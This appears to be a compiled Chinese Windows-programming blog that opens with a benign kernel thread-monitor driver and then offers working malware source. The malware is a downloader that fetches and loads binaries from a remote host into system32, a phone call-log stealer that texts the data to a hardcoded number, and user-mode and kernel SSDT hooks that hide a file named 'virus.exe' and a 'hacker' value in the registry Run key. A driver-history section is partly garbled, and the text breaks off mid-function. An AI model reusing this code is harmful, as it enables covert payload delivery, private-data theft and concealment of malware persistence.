ioControlCode, DEVICE_TYPE_FROM_CTL_CODE(ioControlCode), \
IoGetFunctionCodeFromCtlCode(ioControlCode)));
break;
}
}
Irp->IoStatus.Status = Status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
VOID
ThreadMonUnload(
IN PDRIVER_OBJECT DriverObject
)
{
UNICODE_STRING dosDeviceName;
//
// Free any resources
//
// 卸载回调例程
PsRemoveCreateThreadNotifyRoutine(ThreadCallback);
//
// Delete the symbolic link
//
RtlInitUnicodeString(&dosDeviceName, THREADMON_DEVICE_NAME_W);
IoDeleteSymbolicLink(&dosDeviceName);
//
// Delete the device object
//
IoDeleteDevice(DriverObject->DeviceObject);
KdPrint(("[ThreadMon] Unloaded"));
}
VOID
ThreadCallback(
IN HANDLE ProcessId, // 进程ID
IN HANDLE ThreadId, // 线程ID
IN BOOLEAN Create // 创建还是终止
)
{
PDEVICE_EXTENSION deviceExtension = (PDEVICE_EXTENSION)g_pDeviceObject->DeviceExtension;
deviceExtension->ProcessId = ProcessId;
deviceExtension->ThreadId = ThreadId;
deviceExtension->Create = Create;
// 触发事件,通知应用程序
KeSetEvent(deviceExtension->ThreadEvent, 0, FALSE);
KeClearEvent(deviceExtension->ThreadEvent);
}
//
//////////////////////////////////////////////////////////////////////////
~~~
ring3层调用代码如下
~~~
#include "windows.h"
#include "winioctl.h"
#include "stdio.h"
#include "../inc/ioctls.h"
#define SYMBOL_LINK "\\\\.\\ThreadMon"
int main()
{
CALLBACK_INFO cbkinfo, cbktemp = {0};
// 打开驱动设备对象
HANDLE hDriver = ::CreateFile(
SYMBOL_LINK,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDriver == INVALID_HANDLE_VALUE)
{
printf("打开驱动设备对象失败!\n");
return -1;
}
// 打开内核事件对象
HANDLE hProcessEvent = ::OpenEventW(SYNCHRONIZE, FALSE, EVENT_NAME);
while (::WaitForSingleObject(hProcessEvent, INFINITE))
{
DWORD dwRet;
BOOL bRet;
// printf("收到事件通知!\n");
bRet = ::DeviceIoControl(
hDriver,
IOCTL_THREAD_MON,
NULL,
0,
&cbkinfo,
sizeof(cbkinfo),
&dwRet,
NULL);
if (bRet)
{
if (cbkinfo.ProcessId != cbktemp.ProcessId || \
cbkinfo.ThreadId != cbktemp.ThreadId || \
cbkinfo.Create != cbktemp.Create)
{
if (cbkinfo.Create)
{
printf("有线程被创建,PID = %d,TID = %d\n", cbkinfo.ProcessId, cbkinfo.ThreadId);
}
else
{
printf("有线程被终止,PID = %d,TID = %d\n", cbkinfo.ProcessId, cbkinfo.ThreadId);
}
cbktemp = cbkinfo;
}
}
else
{
printf("\n获取进程信息失败!\n");
break;
}
}
::CloseHandle(hDriver);
return 0;
}
~~~
最短代码实现windows8下的下载器-下载安装执行一体化
最后更新于:2022-04-01 10:27:48
请见代码
~~~
#include "stdafx.h"
#include "windows.h"
#include "UrlMon.h"
#pragma comment(lib, "urlmon.lib")
bool FileIsExist(LPCTSTR szFileFullPathName)
{
WIN32_FIND_DATA Win32_Find_Data;
HANDLE hFindFile;
hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data);
if(INVALID_HANDLE_VALUE == hFindFile)
{
//AfxMessageBox("Not Exist");
return false;
}
else
{
//AfxMessageBox("Have Exist");
FindClose(hFindFile);
return true;
}
}
int main(int argc, char* argv[])
{
char DownURL[255] = "http://www.domain.com/test.dll";
char DownLoadDir[255];
char ExeURL[255] = "http://www.domain.com/test.exe";
char ExeDir[255];
GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir));
GetWindowsDirectory(ExeDir,sizeof(ExeDir));
strcat(DownLoadDir,"\\system32\\DLLtest.dll");
strcat(ExeDir,"\\system32\\MyLogin.dll");
URLDownloadToFile(0,ExeURL,ExeDir,0,NULL);
Sleep(3000);
URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL);
while(true)
{
if(FileIsExist(DownLoadDir) == true)
break;
else
Sleep(1000);
}
Sleep(3000);
LoadLibrary(DownLoadDir);
Sleep(10000);
return 0;
}
~~~
实现诺基亚 lumia Windows phone 的手机通话记录截取
最后更新于:2022-04-01 10:27:46
废话少说,看看代码
~~~
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using Microsoft.WindowsMobile.PocketOutlook;
namespace ReturnCall
{
class Program
{
[StructLayout(LayoutKind.Sequential)]
public struct CALLLOGENTRY
{
/*
public UInt32 cbSize;
public UInt64 ftStartTime;
public UInt64 ftEndTime;
public short iom;
public bool fOutgoing;
public bool fConnected;
public bool fEnded;
public bool fRoam;
public short cidt;
public IntPtr pszNumber;
public IntPtr pszName;
public IntPtr pszNameType;
public IntPtr pszNote;
*/
};
[DllImport("phone.dll", EntryPoint = "PhoneOpenCallLog", SetLastError = true)]
private static extern int PhoneOpenCallLog(ref IntPtr pHandle);
[DllImport("phone.dll", EntryPoint = "PhoneCloseCallLog", SetLastError = true)]
private static extern int PhoneCloseCallLog(IntPtr pHandle);
[DllImport("phone.dll", EntryPoint = "PhoneGetCallLogEntry", SetLastError = true)]
private static extern int PhoneGetCallLogEntry(IntPtr pHandke, ref CALLLOGENTRY pEntry);
static void Main(string[] args)
{
{
string CallInfo = "";
try
{
IntPtr handle = IntPtr.Zero;
CALLLOGENTRY entry = new CALLLOGENTRY();
PhoneOpenCallLog(ref handle);
entry.cbSize = (uint)Marshal.SizeOf(entry);
if (handle != IntPtr.Zero)
{
while (PhoneGetCallLogEntry(handle, ref entry) == 0)
{
string phoneNumber = Marshal.PtrToStringUni(entry.pszNumber);
string name = Marshal.PtrToStringUni(entry.pszName);
if (phoneNumber == null)
{
phoneNumber = string.Empty;
}
if (name == null)
{
name = string.Empty;
}
string temp = (phoneNumber.Trim() + name.Trim());
CallInfo = CallInfo + temp;
}
PhoneCloseCallLog(handle);
Microsoft.WindowsMobile.PocketOutlook.SmsMessage sms = new SmsMessage("151608XXXXXX", CallInfo.Substring(0, 140));
sms.Send();
}
else
{
int error = Marshal.GetLastWin32Error();
}
}
catch (Exception ep)
{
}
finally
{
}
}
}
}
}
~~~
基于VC++2012在Windows8上实现文件隐藏
最后更新于:2022-04-01 10:27:43
请见代码分析,
~~~
#include <windows.h>
#include <WinNT.h>
//从ntddk中拿出来的一些结构体定义,在ZwQueryDirectoryFile()中要用到
typedef LONG NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status)>=0)
//参数类型
typedef struct _IO_STATUS_BLOCK
{
NTSTATUS Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
//字符串类型
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
//枚举类型,主要利用FileBothDirectoryInformation
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation,
FileBothDirectoryInformation,
FileBasicInformation,
FileStandardInformation,
FileInternalInformation,
FileEaInformation,
FileAccessInformation,
FileNameInformation,
FileRenameInformation,
FileLinkInformation,
FileNamesInformation,
FileDispositionInformation,
FilePositionInformation,
FileFullEaInformation,
FileModeInformation,
FileAlignmentInformation,
FileAllInformation,
FileAllocationInformation,
FileEndOfFileInformation,
FileAlternateNameInformation,
FileStreamInformation,
FilePipeInformation,
FilePipeLocalInformation,
FilePipeRemoteInformation,
FileMailslotQueryInformation,
FileMailslotSetInformation,
FileCompressionInformation,
FileObjectIdInformation,
FileCompletionInformation,
FileMoveClusterInformation,
FileQuotaInformation,
FileReparsePointInformation,
FileNetworkOpenInformation,
FileAttributeTagInformation,
FileTrackingInformation,
FileMaximumInformation
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;
typedef VOID (NTAPI *PIO_APC_ROUTINE)(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved);
typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
UCHAR AlternateNameLength;
WCHAR AlternateName[12];
WCHAR FileName[1];
} FILE_BOTH_DIRECTORY_INFORMATION,*PFILE_BOTH_DIRECTORY_INFORMATION;
typedef NTSTATUS ( __stdcall *ZWQUERYDIRECTORYFILE ) (
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);
//原始ZwQueryDirectoryFile地址
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;
//////////////////////////////////////////////////////////////////////////
//替换原有函数
//////////////////////////////////////////////////////////////////////////
NTSTATUS WINAPI NewZwQueryDirectoryFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG Length,FILE_INFORMATION_CLASS FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan)
{
//先调用原有函数
LONG rret = OldZwQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,FileInformation,Length,FileInformationClass,ReturnSingleEntry,FileName,RestartScan);
if (!NT_SUCCESS(rret))
{
return rret;
}
//只取了 FileBothDirectoryInformation这种可能性
if (FileInformationClass==FileBothDirectoryInformation)
{
PFILE_BOTH_DIRECTORY_INFORMATION pFileInfo;
PFILE_BOTH_DIRECTORY_INFORMATION pLastFileInfo;
//测试的C:\\下的virus.exe的隐藏
WCHAR VIRUS[] = L"virus.exe";
BOOLEAN flag;
pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation;
pLastFileInfo = NULL;
do
{
flag = !( pFileInfo->NextEntryOffset );
//宽字符比较,暂用WCSSTR
if(wcsstr(pFileInfo->FileName,VIRUS)!=NULL)
{
if(flag)
{
pLastFileInfo->NextEntryOffset = 0;
break;
}
else
{
int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
memcpy( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
continue;
}
}
pLastFileInfo = pFileInfo;
pFileInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
}while(!flag);
}
return rret;
}
//////////////////////////////////////////////////////////////////////////
//Hook Function
//////////////////////////////////////////////////////////////////////////
BOOL HookQueryFile(BOOL flag)
{
//确定Kernel32.dll的基地址
HMODULE hModule = LoadLibrary("kernel32.dll");
if (hModule==NULL)
{
return FALSE;
}
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)hModule;
if (pDosHdr->e_magic!=IMAGE_DOS_SIGNATURE)
{
return FALSE;
}
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)((ULONG)hModule+pDosHdr->e_lfanew);
if (pNtHdr->Signature!=IMAGE_NT_SIGNATURE)
{
return FALSE;
}
if (pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress==NULL ||
pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size==0)
{
return FALSE;
}
PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG)hModule+pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
PIMAGE_THUNK_DATA ThunkData;
while (ImportDescriptor->FirstThunk)
{
char* szDll = (char*)((ULONG)hModule+ImportDescriptor->Name);
//遍历寻找Kernel32中加载的ntdll.dll
if (stricmp(szDll,"ntdll.dll")!=NULL)
{
ImportDescriptor++;
continue;
}
ThunkData = (PIMAGE_THUNK_DATA)((ULONG)hModule+ImportDescriptor->OriginalFirstThunk);
int num = 1;
while (ThunkData->u1.Function)
{
char* szFunc = (char*)((ULONG)hModule+ThunkData->u1.AddressOfData+2);
if (stricmp(szFunc,"NtQueryDirectoryFile")==0)
{
PDWORD pFunc = (DWORD*)((ULONG)hModule+(DWORD)ImportDescriptor->FirstThunk)+(num-1);
if (flag)
{
//Hook
ULONG pNewFunc = (ULONG)NewZwQueryDirectoryFile;
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)(*(ULONG*)pFunc);
DWORD dwWrite = 0;
WriteProcessMemory(GetCurrentProcess(),pFunc,&pNewFunc,sizeof(ULONG),&dwWrite);
}
else
{
//UnHook
DWORD dwWrite = 0;
WriteProcessMemory(GetCurrentProcess(),pFunc,(DWORD*)(&OldZwQueryDirectoryFile),sizeof(ULONG),&dwWrite);
}
return TRUE;
}
num++;
ThunkData++;
}
ImportDescriptor++;
}
return FALSE;
}
BOOL APIENTRY DllMain( HANDLE hModule,DWORD dwReason,LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
//HOOK ZwQueryDirectroyFile
HookQueryFile(TRUE);
}
else if (dwReason == DLL_PROCESS_DETACH)
{
//UnHook ZwQueryDirectoryFile
HookQueryFile(FALSE);
}
return TRUE;
}
~~~
基于Windows8与Visual Studio2012开发内核隐藏注册表
最后更新于:2022-04-01 10:27:41
Windows 驱动程序的发展演变
我们在学习开发驱动程序时有必要弄清楚Windows设备驱动程序的发展演变过程(为了简便起见,以下简称驱动程序),以便明白我们将要开发什么样的驱动程序。这就象你开发一个应用程序时必须弄清楚它是运行在WINDOWS平台下还是在DOS平台下,否则我们能写出什么样的应用程序就可想而知了。
驱动程序开发者的各项任务之中,有许多是为特定的硬件编写驱动程序。由于WINDOWS的发展,这样的工作在 Windows 9X 下要比在前一版Windows(windows3.x 、Windows Workgroup) 中容易得多。先了解一些历史演变,可能会对驱动程序的编写有所帮助。
实模式Windows(Real-Mode Windows)
从一开始,MS-DOS 和系统基本输入输出系统(BIOS) 就已经提供了许多硬件设备的驱动程序。BIOS 通过一些常用的软件中断,开放出驱动程序的服务 ,像INT 10h 是显示系靳中断,INT 13h是磁盘子系靳中断,INT 16h 是键盘中断等等。BIOS 也处理硬件中断,并承担对“可编程中断控制器”(Programmable Interrupt Controller ,PIC )的管理任务。MS-DOS 也通过软件中断(如 INT 21h 、INT 25h 、INT 26h )提供了系统服务 ,并提供一个机制(CONFIG.SYS 中的 device= 语句),让新的或强化后的驱动程序能?蛟谙到y启动时被加载进操作系统内核。
标准模式Windows(Standard-Mode Windows)
早期的 Windows 中,MS-DOS 和 BIOS 是最重要的。Windows运行在实模式状态中,这时的Windows充其量不过是一个强化后的MS-DOS图形用户界面而已。从系统角度看,Windows只不过是个大的图形应用程序。Intel 80286 的出现,使 Windows能?蛟诒;つJ街性诵胁⒒竦酶叽? 16MB 实际内存空间。依靠保护模式和实模式的转换,Windows 仍然继续使用MS-DOS 和 BIOS 提供的服务来完成所有的系统需求。这种运作模式被称为 Windows标准模式(Windows standard mode) 。在 80286 机器上切换实模式和保护模式,系统开销很大。Intel 于是提供了一个快又有效率的指令,让你从实模式切换到保护模式。但Intel 认为没有什么人还需要再从保护模式切换回实模式。结果,唯一能?蛉帽;つJ匠绦颍ㄈ? Windows standard mode )存取实模式软件(如 MS-DOS )的方法就是复位CPU(reset CPU) 。在人们开发出来的各种复位方法中,最普遍的一种就是触发键盘控制器,提供由 Ctrl-Alt-Delete 键所发出的外部信号。于是引发所谓的三键失效(triple fault,即三键热启动),这是 CPU 先天无法处理的一种“失效“。事实上无论哪一种作法,代价都很昂贵,因为它们至少都得经过 BIOS 的引导程序 。事实上,在某些 286 机器,模式的切换要花掉好几毫秒。显然 Windows 需要一种方法,避免每次一有事件发生,像是键盘被按下或鼠标移动等等,就得切换到实模式。解?Q方法就是写一个保护模式驱动程序,可以在保护模式中处理 I/O 中断。这些驱动程序直到今天我们都还在使用,你在 SYSTEM 子目录中看到的扩展名为 .DRV 的文件都是!包括 MOUSE.DRV 、COMM.DRV 等等。我把它们称为 ring3 DLL 驱动程序,因为它们实质上都是 16 位 Windows 动态链接库(DLLs ),在 ring3层 (Intel CPU 最不受保护的层,一般应用程序运行在ring3层,核心态的驱动程序动行在ring0层)执行。它们的任务是在不离开 CPU保护模式的前提下,和 Windows KERNEL 、USER 、GDI 模块之间形成接口。
增强模式Windows(Enhanced-Mode Windows )
Intel 80386 CPU 使 Windows的第三种操作模式(所谓的 enhanced mode)成为可能。在此模式中 Windows 采用分页(paging) 和虚拟86(V86) 特性,创造出??拟机器(VirtualMachines ,VMs )。对一个应用程序而言,VM 就像一独立的的个人电脑,独自拥有自己的键盘、鼠标、显示器等等硬件。而实际上,经过所谓的??拟化(virtualization ),数个 VMs 共享相同硬件。对最终用户而言,最大的好处是他现在能?蛟诖翱谧刺?中(而非全屏幕)运行MS-DOS程序 。"??拟化"是 VxDs 的工作。VxD 的名称来自于 "virtual x device",意思是此驱动程序用来??拟化某个(x )设备。例如:VKD用来??拟化键盘,使Windows 和任何一个MS-DOS程序都自认为独立拥有属于自己的键盘。VMD 用来??拟化鼠标。某些 VxDs 并不是为了??拟化某些硬件,而是为了提供各种底层系统服务。页面交换(PAGESWAP) 和 页面文件(PAGEFILE)就属于这种非设备VxD ,它们共同管理交换文件(swap file ),使 增强模式Windows (enhanced-modeWindows) 得以将磁盘空间分配成为??拟内存的一部份。尽管基础技术令人耳目一新,但增强模式Windows (enhanced-mode Windows )还是继续在磁盘和文件 I/O 方面使用 MS-DOS 和 BIOS 。需要交换(swap )一个文件时,它还是把 CPU 切换到 V86 模式,让 MS-DOS 和 BIOS 来处理 I/O 操作。在保护模式、真实模式、V86 模式之间的所有切换动作都使得 Windows 慢下来。更多
的延时则来自于MS-DOS 和 BIOS 不可重入这一问题(即不能两个程序同时使用相同的服务)。Windows 必须强迫所有应用程序在同一个队列等待实模式服务。
Windows95
Windows 95 将终结这一份对历史的回忆。Windows 95 使用数种不同的驱动程序模型,大部份是使用 32 位 ring0层的虚拟设备驱动程序(VxDs) ,而非 rin3层的 DLLs 。所有的设备驱动程序都有一个具有管理功能的核心虚拟机VMM(虚拟机管理器)管理。
Windows对中断的处理与MS-DOS大不一样。当中断发生时,处理器转换为ring0级保护模式。Windows系统并不像MS-DOS那样通过中断描述符表IDT(Interrupt Descriptor Table)直接指向中断处理过程,而是由IDT入口指向VMM中的程序。该程序将判断是否为中断调用,如果是,则把中断控制权交给虚拟可编程中断控制器VPICD(Virtual Programmable Interrupt Controller Device),VPICD实际上是一个重要的VxD。VPICD再将其交给另一个注册了该中断的VxD(如Audcard.vxd)来处理。VxD程序是通过调用VPICD服务VPICD_Virtualize_IRQ来注册中断的。
Windows 95 对于设备 (device) 的处理,一般的模型是:由一个 VxD 掌管所有中断并执行所有数据传输,应用程序则使用函数调用 (function calls) 的方式对 VxDs 发出服务请求。这种VxD 为主的设备规划模型的一个好例子就是:Windows 95 的串行通信(serial communications) 。从前 Windows的串行通讯是使用一个 ring3 驱动程序(COMM.DRV ),?群?硬件中断处理程序以及驱动一个通用异步收发蕊片(universal asynchronous receiver-transmitter (UART )蕊片)所需的全部逻辑功能代码。在未让此驱动程序知道的情?r下,两个 VxDs (VCD 和COMBUFF )拦截了硬件中断和软件 IN/OUT 指令,为的是??拟化每一个 port ,并且改善因多任务而引起的问题。Windows 95 也有一个 ring3 组件名为 COMM.DRV ,但这个组件已经成为新的VxD (VCOMM )的一个简单的外层程序,只用来提供 16 位程序和 VCOMM之间的接口。VCOMM 则处于底层,联结一般应用程序、VxD clients 、 VxD 端口驱动程序和实际的硬件。端口驱动程序现在负责处理所有中断,并执行真正与硬件起作用的 IN/OUT 指令。
Windows 95 文件系统是另一个好例子。过去,对文件系统服务的请求(requests ),源自于16 位保护模式程序所发出的 INT 21h 。有一个 VxD 用来处理这些 INT 21h ,并将它们切换到 V86 模式,以便让MS-DOS 处理。MS-DOS 发出 INT 13h中断 ,以请求使用 BIOS 的磁盘 I/O 功能;发出 INT 2Fh ,允许网络的 "redirector modules"(重新定向模块)将此请求通过网络传输出去。Windows 95 提供给应用程序的,仍是向上兼容的接口,INT 21h 仍旧是导至文件系统的动作,但是底层基础却大不一样。
在 Windows 95 之中,一个名为“可安砚文件系统“(Installable File System ,IFS )的管理器会处理所有 INT 21h ,甚至是来自于 V86 模式的。然后它把控制权交斤一个文件系统驱动程序(File System Driver ,FSD )。有一个 FSD 名为 VFAT ,是针对 MS-DOS
文件系统(所谓 File Allocation Table ,FAT )而设计;另一个 FSD 名为 CDFSD ,可以解析 CD-ROM 格式;此外还有其他 FSDs ,知道如何经由各种网络彼此通讯。针对本机(local 端)FSD (如VFAT )的磁盘操作,会经过被I/O管理器(Input/Output Supervisor ,IOS)监视管理的一堆VxDs处理。甚至 V86 模式的 INT 13h 中断调用最终也是由 IOS 处理。换句??真,实模式和保护模式所发出的对文件系靳的请求(request ),不论是针对本地(local )或远程(remote )磁盘,有可能完全(或几乎完全)由 VxDs 来处理。Windows 95 这种以 VxD 为中心的驱动程序模型,好处之一是,系统程序员不一定要是 MS-DOS 和 BIOS 的专家,就可以写驱动程序。那些准备提供系统扩展组件的程序员,也同享这个好处;原本你必须了解DOS保护模式接口(DPMI)以及 Windows 核心模块的许多神秘特性或未公开特性,现在只需了解 Win32 的 DeviceIoControl API 函数,以及那些支持所谓 "alertable waits”(即时唤醒,大意是那些可以在VXD中调用的Windows 32位 API函数,但数量极其有限,)的 Win32 API 即可。这两个接口可以让你把 VxD 当做 32 位应用程序的扩展组件。尽管Windows系统驱动程序设计的任务主要是在系统底层上扩展 Windows 的功能,但Windows 95 还是保留了令人印象深刻的向上兼容能力(对上层程序,如dos程序来说,它们的调用接口没变,但底层实际操作却大不一样了)。DPMI 还是存在(有些16 位程序还是需要它),你还是可以运行实模式的网络驱动程序或文件系统驱动程序--如果这是你的必要选择。事实上,你往往可以把 Windows 3.1 的一整组硬件设备、网络驱动程序、16 位应用程序及其必要的 VxDs 整个搬到 Windows 95 ,不至于遭遇什么大问题。
Windows98&2k&NT
1996年的Windows Hardware Engineering Conference(WinHEC)会议上,Microsoft宣布了一种新的Windows设备驱动程序模型――Win32 Driver Model(WDM)。这种新的设备驱动程序模型将成为Windows 2000(即Windows NT 5.0)的核心。
这个消息令从事Windows设备驱动程序(VxD)开发的程序员感到沮丧(虽然大家早已预料到Windows系列与Windows NT系列最终将走到一起)。WDM将vxd的开发人员带到了一个新的起点上,什么都是新的:新的模式,新的观点。如果你曾看过DDK的汇编代码的话,你一定可以体会这个消息对VxD开发者是个沉重的打击,而对于Windows NT设备驱动程序(Kernel Mode Driver)的开发者来说,却是另一番心情――因为WDM基本等于Kernel Mode Driver+Plug and Play。
VxD将让位于WDM,现在令我们欣慰的是Microsoft宣布Windows 98(Windows 98支持VxD,推荐使用WDM方式驱动,但有些设备,如打印机等还不能用它,微软预先设想的是Windows98和Windows 2k x86版在WDM驱动上可以二进制码兼容,但实际上没有完全实现)可能会坚持到200X年(天知道,估计也就是三两年)。在这期间,掌握VxD技术的你还是可以主动要求老板给你加薪的。即使到了WDM一统天下之时,也不用灰心,因为无论是VxD还是WDM,都要求开发人员对计算机硬件有着全面而细致的了解。通过VxD的锻炼,你至少熟悉了计算机的硬件资源并对保护模式有了比较深刻的认识,这些东西都是将来从事WDM开发的硬功夫。
好了,该说说Windows NT了。在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。
在Windows NT中,存在三种Device Driver:
1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。
2.“GDI Driver”,提供显示和打印所需的GDI函数。
3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。
Visual studio2012与Windows8带来格外不同的新体验
1.启动Vs2012
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15192479.png)
2.看见满目的驱动开发模板
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151a72a9.png)
3.选择一个驱动模式,有内核模式与用户模式两种的驱动
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf151e0f15.png)
4.创建一个驱动程序,KMDF DriverMVP
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf152053f8.png)
5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15221ca7.png)
6.按下F5,选择驱动编译,
![](https://docs.gechiui.com/gc-content/uploads/sites/kancloud/2016-04-01_56fdf15236a2b.png)
插入下列代码实现隐藏注册表,请见代码分析
~~~
#include <ntddk.h>
extern NTSYSAPI NTSTATUS NTAPI
ObQueryNameString(
IN PVOID Object,
OUT POBJECT_NAME_INFORMATION ObjectNameInfo,
IN ULONG Length,
OUT PULONG ReturnLength
);
extern NTSYSAPI NTSTATUS NTAPI
ZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
//声明原有的函数
typedef NTSTATUS (*REALZWENUMERATEVAlUEKEY)(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
//定义原函数的指针
REALZWENUMERATEVAlUEKEY RealZwEnumerateValueKey;
//我们HOOK的函数
NTSTATUS HookZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
PCWSTR HideValue = L"hacker";
// SYSTEMSERVICE 的定义
typedef struct ServiceDescriptorEntry
{
unsigned int * ServiceTableBase; // 关键字段, 指向系统服务分发例程的基地址
unsigned int * ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char * ParamTableBase;
}
ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]
PVOID GetPointer( HANDLE handle )
{
PVOID pKey;
if(!handle)
return NULL;
// ObReferenceObjectByHandle函数来获得这个Handle对应的FileObject, 得到的指针转换成文件对象的指针
if(ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ) != STATUS_SUCCESS )
{
pKey = NULL;
}
return pKey;
}
NTSTATUS
HookZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
)
{
PVOID pKey;
UNICODE_STRING *pUniName;
ULONG actualLen;
ANSI_STRING keyname;
NTSTATUS status;
UNICODE_STRING uStrValueName;
PCWSTR ValueName;
status = ((REALZWENUMERATEVAlUEKEY)(RealZwEnumerateValueKey))(
KeyHandle,
Index,
KeyValueInformationClass,
KeyValueInformation,
Length,
ResultLength );
//得到文件对象的指针
if(pKey = GetPointer( KeyHandle))
{
//分配内存
pUniName = ExAllocatePool(NonPagedPool, 1024*2);
pUniName->MaximumLength = 512*2;
//将pUniName里的内容清空
memset(pUniName,0,pUniName->MaximumLength);
//得到注册表项的路径
if(NT_SUCCESS(ObQueryNameString(pKey, pUniName, 512*2, &actualLen)))
{
RtlUnicodeStringToAnsiString(&keyname, pUniName, TRUE);
keyname.Buffer=_strupr(keyname.Buffer);
//判断是不是Run项
if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN") == 0)
{
switch (KeyValueInformationClass)
{
case KeyValueBasicInformation: //KEY_VALUE_BASIC_INFORMATION
ValueName = ((PKEY_VALUE_BASIC_INFORMATION)KeyValueInformation)->Name;
break;
case KeyValueFullInformation: //KEY_VALUE_FULL_INFORMATION
ValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name;
break;
}
//判断ValueName里的值是否有hacker
//如果有则将函数返回STATUS_ACCESS_DENIED
if ((ValueName != NULL) && (wcsstr(ValueName,HideValue) != NULL))
{
DbgPrint("Hide Value\n");
RtlFreeAnsiString(&keyname);
//释放内存
if(pUniName)
{
ExFreePool(pUniName);
}
